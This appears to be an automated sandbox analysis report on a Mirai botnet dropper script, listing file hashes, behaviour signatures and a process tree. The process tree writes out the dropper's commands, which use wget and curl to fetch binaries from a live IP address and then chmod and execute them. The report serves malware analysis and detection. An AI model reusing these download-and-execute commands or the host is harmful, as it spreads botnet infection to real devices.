Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27-12-2024 06:52

General

  • Target

    GuruITDDoS3.sh

  • Size

    2KB

  • MD5

    c01f89f66afa819108643774b814bfaf

  • SHA1

    abde31c7a7b764f70527ef07b3f57a9993b949b8

  • SHA256

    ce9a5d9b5c25ecfcde1c946901db42efdfa881de812e2a1cab84b1650b057a7a

  • SHA512

    a5e94401ba1d9e605e4c65143c57eb3235ee0a6a63f71e55a129e57cf6252c33f51aa2ee46271796d7b21f28eb1cbbbd6fa0d380de376714dcc17e05ebd06f80

Malware Config

Extracted

Family

mirai

Botnet

DEMONS

Extracted

Family

mirai

Botnet

DEMONS

Extracted

Family

mirai

Botnet

DEMONS

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Writes file to system bin folder 1 IoCs
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 10 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/GuruITDDoS3.sh
    /tmp/GuruITDDoS3.sh
    1⤵
    • Writes file to tmp directory
    PID:648
    • /usr/bin/wget
      wget http://5.175.237.74/GuruITDDoS/RpcSecurity.x86
      2⤵
      • Writes file to tmp directory
      PID:651
    • /usr/bin/curl
      curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:679
    • /bin/cat
      cat RpcSecurity.x86
      2⤵
        PID:680
      • /bin/chmod
        chmod +x GuruITDDoS3.sh RpcSecurity RpcSecurity.x86 systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mqxv93
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/RpcSecurity
        ./RpcSecurity
        2⤵
        • Executes dropped EXE
        PID:682
      • /usr/bin/wget
        wget http://5.175.237.74/GuruITDDoS/RpcSecurity.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:684
      • /usr/bin/curl
        curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:690
      • /bin/cat
        cat RpcSecurity.mips
        2⤵
        • System Network Configuration Discovery
        PID:697
      • /bin/chmod
        chmod +x GuruITDDoS3.sh RpcSecurity RpcSecurity.mips RpcSecurity.x86 systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mqxv93
        2⤵
        • File and Directory Permissions Modification
        PID:699
      • /tmp/RpcSecurity
        ./RpcSecurity
        2⤵
        • Executes dropped EXE
        PID:700
      • /usr/bin/wget
        wget http://5.175.237.74/GuruITDDoS/RpcSecurity.mpsl
        2⤵
        • Writes file to tmp directory
        PID:702
      • /usr/bin/curl
        curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:709
      • /bin/cat
        cat RpcSecurity.mpsl
        2⤵
          PID:718
        • /bin/chmod
          chmod +x GuruITDDoS3.sh RpcSecurity RpcSecurity.mips RpcSecurity.mpsl RpcSecurity.x86 systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mqxv93
          2⤵
          • File and Directory Permissions Modification
          PID:719
        • /tmp/RpcSecurity
          ./RpcSecurity
          2⤵
          • Executes dropped EXE
          PID:720
        • /usr/bin/wget
          wget http://5.175.237.74/GuruITDDoS/RpcSecurity.arm
          2⤵
          • Writes file to tmp directory
          PID:723
        • /usr/bin/curl
          curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.arm
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:730
        • /bin/cat
          cat RpcSecurity.arm
          2⤵
            PID:741
          • /bin/chmod
            chmod +x GuruITDDoS3.sh RpcSecurity RpcSecurity.arm RpcSecurity.mips RpcSecurity.mpsl RpcSecurity.x86 systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mqxv93
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/RpcSecurity
            ./RpcSecurity
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Writes file to system bin folder
            • Changes its process name
            • Reads system network configuration
            PID:743
          • /usr/bin/wget
            wget http://5.175.237.74/GuruITDDoS/RpcSecurity.arm5
            2⤵
            • Writes file to tmp directory
            PID:777
          • /usr/bin/curl
            curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.arm5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:779
          • /bin/chmod
            chmod +x GuruITDDoS3.sh RpcSecurity RpcSecurity.arm RpcSecurity.arm5 RpcSecurity.mips RpcSecurity.mpsl RpcSecurity.x86 systemd-private-c282207c8dc74748a57aada698a482f6-systemd-timedated.service-mqxv93
            2⤵
            • File and Directory Permissions Modification
            PID:781
          • /tmp/RpcSecurity
            ./RpcSecurity
            2⤵
            • Executes dropped EXE
            • Enumerates active TCP sockets
            • Reads system network configuration
            PID:782

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/RpcSecurity

          Filesize

          75KB

          MD5

          b42000c87e42345dffd95c15b6ac2428

          SHA1

          52e9fa49ce26d85ad5dfbabe98d8ed178705c542

          SHA256

          324cf363149eb9264bac519d0cdb8fd93e3f211cd2e5cd3f9d784be8c1cb2ee0

          SHA512

          c239f7931b97709b363be637d3f60b7c3c60b181d86ed636b2d7d3d51e49761009c76bde64ef81ca95fc5a3da1ba48e83450970a0f2e6720634a5cbb40e6babf

        • /tmp/RpcSecurity

          Filesize

          75KB

          MD5

          909e68d7f9baf5b2c79023ca027aa132

          SHA1

          1a17caa726700e04242251f101298bf209c54c18

          SHA256

          8ad68a6dd76f0ca58d1651343916807370fabc294394c12cb4209d5cdb7dc259

          SHA512

          31c1925c839304e1336d1b09a0e30734ff6bb2d476ae6174eebfebce5664ff8944e2acd986b57b2e0045ba6a1f760d7003cb3920fdf3746789df321423f7579e

        • /tmp/RpcSecurity

          Filesize

          59KB

          MD5

          7f662812ede5182b5c29a0fbc2ea1194

          SHA1

          3039b2fec557819f487e25914342ea71c40f8f82

          SHA256

          efc7165c2ae8f899dac4591c910166d8e9b11af6393947ea06ed365432389ece

          SHA512

          aa416ae5fe611567691c16f74db98a4a0afbba84c4c391ca346c55661fdc13ca68323b9be3c694cc7365e0d0be3bcf6422208dfa47be3c1172ec1b84b740b722

        • /tmp/RpcSecurity.x86

          Filesize

          54KB

          MD5

          7e83ac9f8b9ae088c5336df0d874926f

          SHA1

          a5fe7d25942a9f04f8a4cfb57d5781d7042a48d5

          SHA256

          1b8b5cc9cb64473380cd6898f7580339f38a3cd6e7f90d1768c7842e998bb3ed

          SHA512

          0e4dda062bb583dad01c1a9ab9018303003dce5078c30af63b222fa82b93f4fc19bc0bdd6e8f4c3024b0d9502470bbf26238ea991f08ded59e040b89f3156d2b